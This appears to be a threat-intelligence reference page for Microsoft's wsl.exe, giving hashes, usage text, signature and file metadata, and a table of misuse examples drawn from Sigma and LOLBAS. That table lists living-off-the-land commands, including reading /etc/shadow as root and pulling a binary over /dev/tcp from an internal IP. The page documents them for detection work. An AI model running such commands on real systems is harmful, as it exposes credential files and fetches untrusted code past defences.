wsl.exe

File Path: C:\Windows\system32\wsl.exe
Description: Microsoft Windows Subsystem for Linux Launcher

Hashes

Type	Hash
MD5	`A27FCE08E879A6CB68B0FEA6CDE96F61`
SHA1	`52F4E5F7BB63CA670A828479845A1C00C650FD12`
SHA256	`ACBCB4D41833B98660908027FE0033A705E6D647FC3CA3A08B6FBB449F6664C0`
SHA384	`D70721903FF6386D1A9947AB29344F9256CAB12772B8E362BACDB8C15C9B8C854368327888CE01BF6784FAFB59AC50CC`
SHA512	`4EEAFBF63DA5C917A0AAC2334763898A5AD47BDEE0E770F6F7BE040320101565C0EFF00646FEF50DAC35D59FB5D4E065EA366D77D5B4E07433A14E74A84CB756`
SSDEEP	`6144:eE38JI+OhG9Aaam6Ex+hhLY72EZE3hkWG/:T38JxOhWamxoxk`

Runtime Data

Usage (stdout):

Invalid command line option: -help
Usage: wsl.exe [option] ...
Options:
    -d, --distribution <DistributionName>
        Launch the specified distribition.

    -e, --exec <CommandLine>
        Execute the specified Linux command. The remainder of the arguments are
        used as the command line to execute.

    -u, --user <UserName>
        Run as the specified user.

    --help
        Display this usage information.

    --
        Stop parsing arguments and pass the remainder to the Linux process.

Signature

Status: Signature verified.
Serial: 3300000266BD1580EFA75CD6D3000000000266
Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: wsl.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.17763.1 (WinBuild.160101.0800)
Product Version: 10.0.17763.1
Language: English (United States)

Possible Misuse

The following table contains possible examples of wsl.exe being misused. While wsl.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_susp_wsl_lolbin.yml	`- '\wsl.exe'`	DRL 1.0
LOLBAS	Wsl.yml	`Name: Wsl.exe`
LOLBAS	Wsl.yml	`- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe`
LOLBAS	Wsl.yml	`Description: Executes calc.exe from wsl.exe`
LOLBAS	Wsl.yml	`- Command: wsl.exe -u root -e cat /etc/shadow`
LOLBAS	Wsl.yml	`- Command: wsl.exe --exec bash -c 'cat file'`
LOLBAS	Wsl.yml	`- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'`
LOLBAS	Wsl.yml	`- Path: C:\Windows\System32\wsl.exe`
LOLBAS	Wsl.yml	`- IOC: Child process from wsl.exe`